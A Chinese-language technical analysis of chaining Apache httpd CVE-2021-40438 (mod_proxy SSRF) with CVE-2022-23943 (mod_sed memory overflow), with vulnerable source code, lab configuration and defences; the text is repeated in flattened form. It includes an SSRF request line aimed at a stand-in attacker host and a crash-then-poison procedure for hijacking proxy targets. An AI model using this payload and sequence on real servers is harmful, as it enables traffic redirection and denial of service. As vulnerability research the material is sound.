探索 Apache httpd 多模块组合拳攻击
字数 1669 2025-08-06 12:20:41

Apache httpd 多模块组合拳攻击技术分析

背景介绍

本文详细分析Apache httpd服务器中多个模块组合利用的攻击手法,主要涉及CVE-2021-40438(mod_proxy SSRF漏洞)和CVE-2022-23943(mod_sed DoS漏洞)的组合利用。攻击者可以通过这些漏洞实现内存污染、SSRF攻击和进程控制等高级攻击手法。

漏洞分析

CVE-2021-40438: mod_proxy SSRF漏洞

漏洞原理

漏洞位于modules/proxy/proxy_util.cfix_uds_filename函数中,该函数处理反向代理配置中的Unix域套接字(Unix Domain Socket)地址。

static void fix_uds_filename(request_rec *r, char **url) {
    char *ptr, *ptr2;
    if (!r || !r->filename) return;
    if (!strncmp(r->filename, "proxy:", 6) &&
        (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
        (ptr = ap_strchr(ptr2, '|'))) {
        apr_uri_t urisock;
        apr_status_t rv;
        *ptr = '\0';
        rv = apr_uri_parse(r->pool, ptr2, &urisock);
        if (rv == APR_SUCCESS) {
            char *rurl = ptr+1;
            char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
            apr_table_setn(r->notes, "uds_path", sockpath);
            *url = apr_pstrdup(r->pool, rurl);
            memmove(r->filename+6, rurl, strlen(rurl)+1);
            ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
                         "*: rewrite of url due to UDS(%s): %s (%s)",
                         sockpath, *url, r->filename);
        } else {
            *ptr = '|';
        }
    }
}

触发条件

  1. r->filename前6个字符为"proxy:"
  2. r->filename中包含"unix:"字符串
  3. "unix:"字符串后包含"|"字符

攻击利用

通过构造特殊请求,可以控制反向代理的目标地址:

GET /?unix:AAAAAAAA...AAA|http://attacker.com/ HTTP/1.1

当Unix域套接字路径过长时,解析会失败,导致请求被转发到"|"后的地址,实现SSRF。

内存缓存机制

Apache在第一次反向代理时会将请求的hostname与port保存在内存中,后续请求会直接使用这些缓存值而不重新赋值。这导致:

  1. 第一次SSRF成功后,后续请求会继续使用第一次的目标地址
  2. 攻击者可以通过控制第一次请求来污染内存,影响后续所有反向代理请求

关键代码位置:

/* Step One: Determine Who To Connect To */
uri = apr_palloc(p, sizeof(*uri));
if ((status = ap_proxy_determine_connection(p, r, conf, worker, backend, uri, 
    &locurl, proxyname, proxyport, req->server_portstr, 
    sizeof(req->server_portstr))))
    goto cleanup;

ap_proxy_acquire_connection函数分配的内存空间不会被清空,导致后续请求复用之前的hostname和port。

CVE-2022-23943: mod_sed DoS漏洞

漏洞原理

漏洞位于mod_sed模块的appendmem_to_linebuf函数中:

static void appendmem_to_linebuf(sed_eval_t *eval, const char *sz, int len) {
    unsigned int reqsize = (eval->lspend - eval->linebuf) + len;
    if (eval->lsize < reqsize) {
        grow_line_buffer(eval, reqsize);
    }
    memcpy(eval->lspend, sz, len);
    eval->lspend += len;
}

当传入超大尺寸数据时,会导致内存计算异常,引发memcpy越界,最终使进程崩溃。

利用方法

  1. 传入4GB数据:导致len计算异常,发生越界
  2. 传入2GB数据(默认最大接受数据量):同样会导致memcpy越界

组合攻击手法

单进程环境攻击

  1. 利用mod_sed漏洞使Apache进程崩溃
  2. 进程重启后,立即发送精心构造的SSRF请求(利用mod_proxy漏洞)
  3. 污染内存中的hostname和port缓存
  4. 后续所有反向代理请求都会被重定向到攻击者控制的地址

多进程环境攻击

  1. 利用mod_sed漏洞使部分Apache进程崩溃
  2. 新启动的进程会接受新连接
  3. 向服务器发送大量请求,确保新进程处理第一个请求是攻击者的SSRF请求
  4. 污染新进程的内存缓存
  5. 重复上述过程,逐步控制所有工作进程

扩展攻击面

  1. 攻击本地unix socket:可以攻击Docker、Supervisor等本地服务
  2. 非HTTP协议攻击:TCP是数据流,可以用于攻击其他二进制协议服务
  3. 其他proxy模块影响:mod_proxy_ajp、mod_proxy_http2、mod_proxy_balancer、mod_proxy_wstunnel等模块也可能受影响
  4. 内存控制攻击:可能利用污染的内存区域进行更高级的攻击
  5. 版本影响:已验证Apache 2.4.43受影响,其他版本可能也存在类似问题

防御措施

  1. 及时更新Apache到最新版本
  2. 禁用不必要的模块(如mod_sed、mod_proxy等)
  3. 配置ProxyPass时使用固定、可信的后端地址
  4. 限制请求大小,防止DoS攻击
  5. 使用Web应用防火墙(WAF)过滤异常请求

环境配置

测试环境配置:

  • Ubuntu 20.04
  • Apache 2.4.43
  • apr-1.6.5
  • apr-util-1.6.1
  • php7.4

必要模块配置:

LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule sed_module modules/mod_sed.so

示例虚拟主机配置:

<VirtualHost *:8000>
    ServerAdmin webmaster@localhost
    ServerName localhost:8000
    DocumentRoot /path/to/htdocs/proxy
    LogLevel notice proxy:trace8
    ErrorLog /path/to/error.log
    CustomLog /path/to/access.log combined
    ProxyPass /proxy "http://www.example.com/"
    ProxyPassReverse /proxy "http://www.example.com/"
    ProxyPass /exp "http://www.baidu.com/"
    ProxyPassReverse /exp "http://www.baidu.com/"
</VirtualHost>

总结

本文详细分析了Apache httpd服务器中多个模块的组合利用手法,展示了如何通过SSRF漏洞污染内存缓存,并利用DoS漏洞重置进程状态。这种攻击手法具有较高的隐蔽性和危害性,管理员应高度重视并及时采取防护措施。

Apache httpd 多模块组合拳攻击技术分析 背景介绍 本文详细分析Apache httpd服务器中多个模块组合利用的攻击手法,主要涉及CVE-2021-40438(mod_ proxy SSRF漏洞)和CVE-2022-23943(mod_ sed DoS漏洞)的组合利用。攻击者可以通过这些漏洞实现内存污染、SSRF攻击和进程控制等高级攻击手法。 漏洞分析 CVE-2021-40438: mod_ proxy SSRF漏洞 漏洞原理 漏洞位于 modules/proxy/proxy_util.c 的 fix_uds_filename 函数中,该函数处理反向代理配置中的Unix域套接字(Unix Domain Socket)地址。 触发条件 r->filename 前6个字符为"proxy:" r->filename 中包含"unix:"字符串 "unix:"字符串后包含"|"字符 攻击利用 通过构造特殊请求,可以控制反向代理的目标地址: 当Unix域套接字路径过长时,解析会失败,导致请求被转发到"|"后的地址,实现SSRF。 内存缓存机制 Apache在第一次反向代理时会将请求的hostname与port保存在内存中,后续请求会直接使用这些缓存值而不重新赋值。这导致: 第一次SSRF成功后,后续请求会继续使用第一次的目标地址 攻击者可以通过控制第一次请求来污染内存,影响后续所有反向代理请求 关键代码位置: ap_proxy_acquire_connection 函数分配的内存空间不会被清空,导致后续请求复用之前的hostname和port。 CVE-2022-23943: mod_ sed DoS漏洞 漏洞原理 漏洞位于mod_ sed模块的 appendmem_to_linebuf 函数中: 当传入超大尺寸数据时,会导致内存计算异常,引发memcpy越界,最终使进程崩溃。 利用方法 传入4GB数据:导致len计算异常,发生越界 传入2GB数据(默认最大接受数据量):同样会导致memcpy越界 组合攻击手法 单进程环境攻击 利用mod_ sed漏洞使Apache进程崩溃 进程重启后,立即发送精心构造的SSRF请求(利用mod_ proxy漏洞) 污染内存中的hostname和port缓存 后续所有反向代理请求都会被重定向到攻击者控制的地址 多进程环境攻击 利用mod_ sed漏洞使部分Apache进程崩溃 新启动的进程会接受新连接 向服务器发送大量请求,确保新进程处理第一个请求是攻击者的SSRF请求 污染新进程的内存缓存 重复上述过程,逐步控制所有工作进程 扩展攻击面 攻击本地unix socket :可以攻击Docker、Supervisor等本地服务 非HTTP协议攻击 :TCP是数据流,可以用于攻击其他二进制协议服务 其他proxy模块影响 :mod_ proxy_ ajp、mod_ proxy_ http2、mod_ proxy_ balancer、mod_ proxy_ wstunnel等模块也可能受影响 内存控制攻击 :可能利用污染的内存区域进行更高级的攻击 版本影响 :已验证Apache 2.4.43受影响,其他版本可能也存在类似问题 防御措施 及时更新Apache到最新版本 禁用不必要的模块(如mod_ sed、mod_ proxy等) 配置ProxyPass时使用固定、可信的后端地址 限制请求大小,防止DoS攻击 使用Web应用防火墙(WAF)过滤异常请求 环境配置 测试环境配置: Ubuntu 20.04 Apache 2.4.43 apr-1.6.5 apr-util-1.6.1 php7.4 必要模块配置: 示例虚拟主机配置: 总结 本文详细分析了Apache httpd服务器中多个模块的组合利用手法,展示了如何通过SSRF漏洞污染内存缓存,并利用DoS漏洞重置进程状态。这种攻击手法具有较高的隐蔽性和危害性,管理员应高度重视并及时采取防护措施。